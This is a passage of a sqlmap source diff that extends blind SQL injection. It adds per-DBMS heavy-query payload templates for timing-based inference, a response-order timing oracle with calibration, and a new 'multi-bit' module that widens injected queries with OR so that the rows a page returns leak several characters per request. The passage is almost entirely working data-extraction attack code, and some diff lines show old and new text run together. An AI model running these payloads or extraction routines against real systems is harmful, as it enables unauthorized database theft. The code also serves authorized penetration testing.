_LH_MSSQL = "(SELECT COUNT(*) FROM (SELECT TOP [COST] 1 AS qx FROM sysusers AS q1,sysusers AS q2,sysusers AS q3,sysusers AS q4,sysusers AS q5,sysusers AS q6,sysusers AS q7) AS qt)"
LIGHT_HEAVY = { LIGHT_HEAVY = {
DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series
@@ -482,8 +691,12 @@ LIGHT_HEAVY = {
DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))",
# ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash
DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')",
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> system-catalog cross-join, bounded
DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", # by FIRST (a literal, which Firebird accepts) so the rungs of the cost ladder actually differ in work.
# NOTE the plain aliases: Firebird rejects an unquoted identifier starting with '_', and because a
# syntax error here costs the same time as a cheap query it looks exactly like a folded primitive -
# measured live, 'AS _x'/'_t' returned in 0.59 s at every cost while 'AS qx'/'qt' scaled 0.78 -> 3.0 s.
DBMS.FIREBIRD: "(SELECT COUNT(*) FROM (SELECT FIRST [COST] 1 AS qx FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c, RDB$RELATIONS d) qt)",
# NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here ->
# no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction.
} }
@@ -566,23 +779,30 @@ def negatePayload(value):
across every DBMS (unlike `IS NOT TRUE`).""" across every DBMS (unlike `IS NOT TRUE`)."""
import re import re
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) # DOTALL: a comparison can legitimately span lines (a tamper script inserting newlines for whitespace,
# a multi-line injected value); without it the sentinels would not match and the bit would be read on a
# path that never negates the condition.
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), re.DOTALL)
if not pattern.search(value or ""): if not pattern.search(value or ""):
return None return None
return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value)
def negateCondition(condition):
"""The NULL-SAFE negation of a bare `condition` (no sentinels involved) - the same CASE form
negatePayload() splices in, so both paths terminate a string identically. See negatePayload()."""
return "(CASE WHEN (%s) THEN 1 ELSE 0 END)=0" % condition
def _pairMs(conn, reqA, reqB, samples=5, timeout=30): def _pairMs(conn, reqA, reqB, samples=5, timeout=30):
"""Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy
branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that
decides which cost to engage at (see tuneHeavy).""" decides which cost to engage at (see tuneHeavy)."""
import time as _t
ts = [] ts = []
for _ in range(samples): for _ in range(samples):
s = _t.time() s = time.time()
_pairOrder(conn, reqA, reqB, timeout) _pairOrder(conn, reqA, reqB, timeout)
ts.append((_t.time() - s) * 1000.0) ts.append((time.time() - s) * 1000.0)
return sorted(ts)[samples // 2] return sorted(ts)[samples // 2]
@@ -596,8 +816,12 @@ def _calibrationConditions(dbms):
with the constant sees a clean heavy delta the REAL extraction never has and engages straight into with the constant sees a clean heavy delta the REAL extraction never has and engages straight into
corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target
measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan
safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no safely falls back to classic time-based.
inference/banner template (calibration still gates, just without the hoist check)."""
Returns (None, None) when the DBMS ships no usable inference/banner template. It deliberately does NOT
fall back to '1=1'/'1=0': those are precisely the constant-foldable probes this function exists to
avoid, so a missing template or a formatting mismatch would silently disable the main anti-corruption
safeguard. No faithful probe means no calibration means no timeless on that DBMS."""
from lib.core.data import queries from lib.core.data import queries
try: try:
@@ -607,32 +831,46 @@ def _calibrationConditions(dbms):
# int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range)
return (template % (banner, 1, 1), template % (banner, 1, 255)) return (template % (banner, 1, 1), template % (banner, 1, 255))
except Exception: except Exception:
return ("1=1", "1=0") return (None, None)
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): TUNE_DEADLINE_SECS = 300.0 # overall wall-clock budget for the tuning sweep (see tuneHeavy)
"""Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy
that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load,
and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1, deadline=None):
none qualifies. """Walk the cost ladder and return (vector, cost, confidence, status, reqSlow, reqFast) for the LIGHTEST
rung-2 heavy that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive
extraction load, and (b) whose response-order signal calibrates as reliable. `status` and the two probe
requests are handed back so the oracle can re-calibrate every later connection against the same
known-asymmetric pair and validate every read against the same response status. Returns
(None, None, best_confidence, None, None, None) if no rung qualifies.
Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N)
and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a
generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits
under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.
The whole sweep is bounded by `deadline` (default TUNE_DEADLINE_SECS from now). The per-socket timeout
only bounds a single exchange, so an endpoint that answers just fast enough, just slowly enough, could
otherwise keep tuning alive indefinitely and the scan would never start."""
from lib.core.common import Backend from lib.core.common import Backend
dbms = dbms or Backend.getIdentifiedDbms() dbms = dbms or Backend.getIdentifiedDbms()
deadline = deadline if deadline is not None else time.time() + TUNE_DEADLINE_SECS
# Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a
# target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with
# ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions().
trueCond, falseCond = _calibrationConditions(dbms) trueCond, falseCond = _calibrationConditions(dbms)
if trueCond is None:
return (None, None, 0.0, None, None, None)
best = 0.0 best = 0.0
for cost in LIGHT_HEAVY_COSTS: for cost in LIGHT_HEAVY_COSTS:
if time.time() > deadline:
break
vector = lightHeavyVector(dbms, cost) vector = lightHeavyVector(dbms, cost)
if not vector: if not vector:
return (None, None, 0.0) return (None, None, 0.0, None, None, None)
reqSlow = _forgeRequest(trueCond, conn.host, vector) reqSlow = _forgeRequest(trueCond, conn.host, vector)
reqFast = _forgeRequest(falseCond, conn.host, vector) reqFast = _forgeRequest(falseCond, conn.host, vector)
# Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair
@@ -659,11 +897,12 @@ def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=N
if progress is not None: if progress is not None:
progress() progress()
continue # margin too thin to survive load -> escalate cost continue # margin too thin to survive load -> escalate cost
usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) usable, confidence, status = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold,
timeout=timeout, progress=progress, deadline=deadline)
best = max(best, confidence) best = max(best, confidence)
if usable: if usable:
return (vector, cost, confidence) return (vector, cost, confidence, status, reqSlow, reqFast)
return (None, None, best) return (None, None, best, None, None, None)
def _forgeRequest(inferenceExpr, authority, vector=None): def _forgeRequest(inferenceExpr, authority, vector=None):
@@ -682,42 +921,43 @@ def _forgeRequest(inferenceExpr, authority, vector=None):
return _specToReq(spec, authority) return _specToReq(spec, authority)
def readBitLive(conn, condition, vector=None, votes=1, timeout=30): def readBitLive(conn, condition, vector=None, votes=4, timeout=30):
"""Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison
bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the
negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, negation request carries its NULL-safe negation; with a heavy-query `vector` exactly one runs the heavy
so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector work, so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
(rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds."""
reqCond = _forgeRequest(condition, conn.host, vector) reqCond = _forgeRequest(condition, conn.host, vector)
reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) reqNeg = _forgeRequest(negateCondition(condition), conn.host, vector)
return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout)
def readBitAsymmetric(connSource, reqCond, reqRef, votes=12, timeout=30): def restoreClassicValue(value, classicVector):
"""Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy """Rebuild the payload `value` - forged from the tuned heavy (sentinel) vector - on top of `classicVector`,
reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 the time-based vector that was swapped out. Returns None when `value` carries no sentinels.
and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS
errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially Needed on the runtime fallback path: once timeless disengages mid-extraction, the comparison in flight
always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over was already assembled from the heavy vector, which induces milliseconds rather than '--time-sec'
a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a seconds. Re-running it as-is through wall-clock comparison would read False no matter the truth, so the
phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still caller re-forges the SAME comparison onto the restored vector first."""
clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. import re
Returns True iff the condition holds."""
condLast = 0 from lib.core.agent import agent
for i in range(votes): from lib.core.settings import INFERENCE_MARKER
if i % 2 == 0:
first, condSid, _hiSid = _pairOrder(connSource, reqCond, reqRef, timeout) match = re.search(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)), value or "", re.DOTALL)
else: if not match:
first, _loSid, condSid = _pairOrder(connSource, reqRef, reqCond, timeout) return None
if first != condSid: # cond finished last -> it ran the heavy branch this vote forged = agent.suffixQuery(agent.prefixQuery(classicVector.replace(INFERENCE_MARKER, match.group(1))))
condLast += 1 return agent.payload(newValue=forged)
return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%)
def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None):
"""Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence,
below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" status); below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.
Ad-hoc probing only - autoEngage() calibrates with the faithful, non-foldable predicates that
_calibrationConditions() builds, never with these constants."""
reqSlow = _forgeRequest("1=1", conn.host, vector) reqSlow = _forgeRequest("1=1", conn.host, vector)
reqFast = _forgeRequest("1=0", conn.host, vector) reqFast = _forgeRequest("1=0", conn.host, vector)
return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
@@ -736,17 +976,17 @@ if __name__ == "__main__":
return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host}
conn = connect(host, port, None, 30) conn = connect(host, port, None, 30)
usable, conf = calibrate(conn, req(1), req(0), trials=40) usable, confidence, status = calibrate(conn, req(1), req(0), trials=40)
print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) print("calibrate: usable=%s confidence=%.3f status=%s" % (usable, confidence, status))
if usable: if usable:
import itertools import itertools
# Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy
# iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one
# runs heavy, so a single pair resolves the bit both ways. # runs heavy, so the pair resolves the bit both ways.
bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24))
ok = 0 ok = 0
for b in bits: for b in bits:
got = readBit(conn, req(b), req(1 - b), votes=1) got = readBit(conn, req(b), req(1 - b), votes=2, expectStatus=status)
ok += int(bool(got) == bool(b)) ok += int(bool(got) == bool(b))
print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) print("read %d/%d bits correctly" % (ok, len(bits)))
conn.close() conn.close()
+26 -3
View File
@@ -78,13 +78,14 @@ from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads from lib.core.threads import runThreads
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.blind import multibit
from lib.utils.progress import ProgressBar from lib.utils.progress import ProgressBar
from lib.utils.safe2bin import safecharencode from lib.utils.safe2bin import safecharencode
from lib.utils.xrange import xrange from lib.utils.xrange import xrange
from thirdparty import six from thirdparty import six
# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is # Sentinel returned by the (default-on, '--no-huffman') Huffman retrieval meaning "this character
# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". # is outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
_HUFFMAN_FALLBACK = object() _HUFFMAN_FALLBACK = object()
# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process # Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process
@@ -868,6 +869,19 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
maxChar = maxValue = charTbl[-1] maxChar = maxValue = charTbl[-1]
minValue = charTbl[0] minValue = charTbl[0]
else: else:
# every probe answered positively - the response model was calibrated on
# the bare page while each probe also pays the query's own cost (e.g.
# COUNT(*) on a huge table), so re-key it and let it rebuild on the payload
if timeBasedCompare and kb.responseTimeMode is None and not conf.disableStats:
kb.responseTimeMode = expression
warnMsg = "all inference probes for the current value answered "
warnMsg += "positively. Recalibrating the time-based response model "
warnMsg += "against the payload's own query cost"
logger.warning(warnMsg)
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, retried, restricted)
kb.disableShiftTable = True kb.disableShiftTable = True
return None return None
else: else:
@@ -973,8 +987,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# and detects end-of-string correctly # and detects end-of-string correctly
return getChar(idx, asciiTbl, True, retried=retried) return getChar(idx, asciiTbl, True, retried=retried)
# Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came
# back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It
# returns None unless it proved the extracted value back against the target, so everything below
# is untouched whenever it is unusable (and it owns its own threading, hence before this branch).
multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue)
if multibitValue is not None:
finalValue = multibitValue
# Go multi-threading (--threads > 1) # Go multi-threading (--threads > 1)
if numThreads > 1 and isinstance(length, int) and length > 1: elif numThreads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.index = [firstChar] # As list for python nested function scoping
threadData.shared.start = firstChar threadData.shared.start = firstChar
+950
View File
@@ -0,0 +1,950 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
Multi-bit blind inference ("row multiplexing"), used on demand ('--multi-bit').
Classic boolean-based blind reads ONE bit per request, because the oracle in comparison.py reduces a
response to True/False. On a listing page the response actually carries more: WHICH rows came back.
By making row N of the rendered query appear iff bit N of the target value is set, a single response
carries a whole bit vector - 8 bits per character, so several characters per request instead of eight
requests per character.
The switch is the permission: widening the result set with OR is what makes one response carry whole
characters, and that is a risk-3 operation in sqlmap's own policy (every "OR boolean-based blind" test
in boolean_blind.xml is <risk>3</risk>). Without it nothing here runs, and hint() merely says so once
on a target that would benefit.
The payload keeps the value expression exactly ONCE: the row identifier itself computes both the
character offset and the bit index (see the per-DBMS <bitmap> atom in queries.xml). Emitting one term
per bit instead would produce multi-kilobyte payloads that no real target accepts.
Correctness does NOT rest on the channel being clean. Every extracted value is proven back against
the target before it is returned (length plus chunk-wise equality, see _confirm), a canary row tells
an empty answer apart from a junk response, and any doubt returns None so that bisection() proceeds
untouched.
"""
import logging
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import dataToStdout
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getTechnique
from lib.core.common import incrementCounter
from lib.core.common import isTechniqueAvailable
from lib.core.common import randomInt
from lib.core.common import setTechnique
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import PAYLOAD
from lib.core.settings import MAX_MULTIBIT_LENGTH
from lib.core.settings import MAX_MULTIBIT_PAGE
from lib.core.settings import MULTIBIT_BITS_PER_CHAR
from lib.core.settings import MULTIBIT_CALIBRATION_ROUNDS
from lib.core.settings import MULTIBIT_CANDIDATE_COLUMNS
from lib.core.settings import MULTIBIT_CONFIRM_CHUNK
from lib.core.settings import MULTIBIT_MAX_FAILURES
from lib.core.settings import MULTIBIT_MAX_PLANES
from lib.core.settings import MULTIBIT_MIN_BITS
from lib.core.settings import MULTIBIT_NARROW
from lib.core.settings import MULTIBIT_PLANES
from lib.core.settings import MULTIBIT_SAMPLES
from lib.core.settings import MULTIBIT_WIDEN
from lib.core.settings import MULTIBIT_WIDEN_RISK
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
try:
from lib.utils import sgmllib
except ImportError:
sgmllib = None
_TOKEN = re.compile(r'href="[^"]+"|[A-Za-z][A-Za-z0-9_\-]{3,}')
# row identity as real listing pages expose it:
# /product.php?id=12 (?id=12, &pid=12)
# data-id='12' (data attribute)
# /product/12 (path segment)
# <input name='product_id' value='12'> (form field, either attribute order)
_QUERY = re.compile(r'[?&]([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
_DATA = re.compile(r'\bdata-([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
_PATH = re.compile(r'/([A-Za-z_][A-Za-z0-9_]*)/(\d{1,9})(?!\d)')
_INPUT = re.compile(r'<input\b[^>]*>', re.I)
_INAME = re.compile(r'\bname\s*=\s*["\']?([A-Za-z_][A-Za-z0-9_]*)', re.I)
_IVALUE = re.compile(r'\bvalue\s*=\s*["\']?(\d{1,9})(?!\d)', re.I)
# page regions whose content is site chrome, not the result set: a nav menu, a currency switcher or a
# language picker repeats structurally just like rows do, so nothing inside these proves anything
_CHROME = frozenset(("head", "header", "nav", "footer", "aside", "script", "style", "noscript", "template"))
class _StructureParser(sgmllib.SGMLParser if sgmllib else object):
"""
One pass over a page, collecting repeated sibling elements outside the site chrome.
The tell-tale of a listing is REPEATED MARKUP: one row template stamped N times, so the same tag
with the same attribute names appears N times under the same parent. Chrome repeats too, which
is why header/nav/footer subtrees are excluded - only repeated structure in the page's own
content can be the result set.
"""
def __init__(self):
if sgmllib:
sgmllib.SGMLParser.__init__(self)
self._open = []
self.groups = {}
def unknown_starttag(self, tag, attrs):
self._open.append(tag)
if not any(_ in _CHROME for _ in self._open[:-1]):
parent = self._open[-2] if len(self._open) > 1 else None
names = tuple(sorted(name for name, _ in attrs))
self.groups.setdefault((parent, tag, names), []).append(attrs)
def unknown_endtag(self, tag):
if tag in self._open:
while self._open and self._open[-1] != tag:
self._open.pop()
if self._open:
self._open.pop()
def _debug(message):
logger.debug("multi-bit: %s" % message)
def _page(expression, mode):
"""
Runs an arbitrary boolean expression and returns the raw body.
Two ways to attach it, and the difference is not cosmetic:
WIDEN - "... OR (predicate)" against a negated value, which makes the whole table addressable
and the channel wide enough for several characters per request. It can also make an
injected UPDATE/DELETE touch rows it otherwise would not, which is why every OR test
in boundaries is risk 3 - and why this is what the switch buys.
NARROW - "... AND (predicate)" on the live value. Can only ever REMOVE rows, so the channel is
as wide as the rows the page already shows. The fallback for a result set no OR can
widen (a fixed filter in a subquery the payload cannot escape).
"""
if mode == MULTIBIT_WIDEN:
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("OR (%s)" % expression)), where=PAYLOAD.WHERE.NEGATIVE)
else:
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("AND (%s)" % expression)), where=PAYLOAD.WHERE.ORIGINAL)
page, _, _ = Request.queryPage(payload, content=True, raise404=False, silent=True)
incrementCounter(getTechnique())
return page or ""
def _tokens(expression, mode):
return set(_TOKEN.findall(_page(expression, mode)))
def _stable(expression, mode, samples=MULTIBIT_SAMPLES):
"""Tokens present in EVERY sample - drops per-response junk (CSRF, timestamps, ads, request ids)."""
retVal = None
for _ in range(samples):
current = _tokens(expression, mode)
retVal = current if retVal is None else (retVal & current)
if not retVal:
break
return retVal or set()
def _bitcol(column, base, bit):
"""Predicate 'bit `bit` of (column - base) is set', used to address rows in bulk."""
return queries[Backend.getIdentifiedDbms()].bitcol.query % ("(%s-%d)" % (column, base), bit)
def _join(*expressions):
return " AND ".join("(%s)" % _ for _ in expressions if _)
def _window(column, low, high):
return "%s BETWEEN %d AND %d" % (column, low, high)
def _extract(page):
"""
Yields (name, value) identifier pairs from the page's repeated content markup.
Only elements that REPEAT structurally count - a listing is one row template stamped N times, so
its identifiers sit inside elements whose tag, attribute names and parent tag recur. A single
element proves nothing, and the site chrome (nav menus, switchers, scripts) is excluded outright:
a single-row page is thus ruled out from the page alone, for free.
"""
if not page:
return
if sgmllib is None:
# no parser available (very new Python): the identifier forms alone, wherever they appear
for key, value in _QUERY.findall(page) + _DATA.findall(page) + _PATH.findall(page):
yield key, int(value)
for tag in _INPUT.findall(page):
name, value = _INAME.search(tag), _IVALUE.search(tag)
if name and value:
yield name.group(1), int(value.group(1))
return
parser = _StructureParser()
try:
parser.feed(page[:MAX_MULTIBIT_PAGE])
parser.close()
except Exception:
return
for (_, tag, _), members in parser.groups.items():
if len(members) < 2:
continue
for attrs in members:
if tag == "input":
name = next((value for key, value in attrs if key == "name"), "")
value = next((value for key, value in attrs if key == "value"), "")
if name and value.isdigit() and len(value) <= 9:
yield name, int(value)
else:
for key, value in attrs:
if key == "href":
for name, digit in _QUERY.findall(value) + _PATH.findall(value):
yield name, int(digit)
elif key.startswith("data-") and len(key) > 5 and value.isdigit() and len(value) <= 9:
yield key[5:], int(value)
def _identifiers(page):
"""
Row identifiers a response exposes, as real listing pages do it.
A row identifier VARIES within one response; one that does not is page furniture (or the injected
parameter reflected back), whatever it happens to be called.
"""
retVal = {}
for name, value in _extract(page):
retVal.setdefault(name, set()).add(value)
return dict((_, retVal[_]) for _ in retVal if len(retVal[_]) > 1)
def _discover(mode):
"""
Finds a per-row discriminator column and the markers identifying each row.
Cheap stages first, so a hopeless parameter costs a handful of requests instead of a linear scan:
1. viability - a probe against an empty one, plus a smaller range that must show strictly fewer
rows. A page that cannot show fewer rows when asked for fewer (pagination, truncation, a
cache serving one body) is rejected here, before anything expensive is paid for.
2. mapping - row identities are resolved by BIT PLANE: request k selects every row whose
offset from the base has bit k set, so a handful of requests place all of them. Probing
identifiers one at a time would cost one request each.
"""
if not queries[Backend.getIdentifiedDbms()].bitcol.query:
_debug("no <bitcol> atom for %s" % Backend.getIdentifiedDbms())
return None
spread = {}
# The page as the target itself serves it already lists row identifiers, and sqlmap has kept it
# since the stability check - so the candidates cost nothing. Only when it yields none is it
# worth asking for more rows (which, on a big table, is a big response).
for candidate in (kb.originalPage,) + (None,) * MULTIBIT_SAMPLES:
spread = _identifiers(candidate if candidate is not None else _page("1=1", mode))
if spread:
break
if not spread:
_debug("no row identifiers rendered in the response")
return None
empty = _stable("1=2", mode)
for column in sorted(spread, key=lambda _: len(spread[_]), reverse=True)[:MULTIBIT_CANDIDATE_COLUMNS]:
retVal = (_widen if mode == MULTIBIT_WIDEN else _narrow)(column, spread[column], empty, mode)
if retVal:
retVal.update(column=column, mode=mode)
return retVal
return None
def _narrow(column, known, empty, mode):
"""
The channel the page already carries: its OWN rows, addressed by name. Identifiers are whatever
the markup showed - they need not be consecutive, because the payload maps each one to a bit
through a CASE rather than through arithmetic.
"""
base = min(known) - 1
pool = _stable("1=1", mode) - empty
if len(pool) < MULTIBIT_MIN_BITS + 1:
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
return None
# asking for the lower half of the identifiers must show strictly fewer rows
inside = sorted(known)
fewer = _stable(_window(column, base, (inside[0] + inside[-1]) // 2), mode) & pool
if not (fewer < pool):
_debug("column '%s' shows the same rows for fewer identifiers (truncation/cache)" % column)
return None
count = min(MULTIBIT_MAX_PLANES, max(1, (max(known) - base).bit_length()))
rows = _place(_planes(column, base, mode, None, pool, count), pool, base, known)
order = sorted(rows)
if len(order) < MULTIBIT_MIN_BITS + 1:
_debug("column '%s' yields only %d usable rows on the page" % (column, len(order)))
return None
# one row is the canary (selected regardless of the data), the rest carry bits
return {"rows": rows, "canary": order[-1], "keys": order[:-1][:MULTIBIT_BITS_PER_CHAR], "perCall": 1}
def _widen(column, known, empty, mode):
"""
The whole table, addressed by a window of consecutive identifiers so that one compact payload can
carry several characters: the identifier itself computes both the character offset and the bit.
"""
span = 1 << MULTIBIT_PLANES
# Centre the window on the identifiers the page itself renders, so tables that do not start at 1
# (or at all) are still reachable. Offsets are counted from base = low - 1 so that they start at
# ONE: an offset of zero sets no bit in any plane, which is indistinguishable from a marker that
# went missing, and it would cost the first row of every window.
low = max(1, min(known) - span // 2)
base = low - 1
high = base + span - 1
window = _window(column, low, high)
pool = _stable(window, mode) - empty
if len(pool) < MULTIBIT_BITS_PER_CHAR + 1:
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
return None
# Asking for a range that leaves out an identifier known to exist must show strictly fewer rows.
# The cut is anchored on real identifiers CLIPPED TO THE WINDOW - halving the window proves
# nothing on a table smaller than it (15 products list the same for 1..64 as for 1..128), and
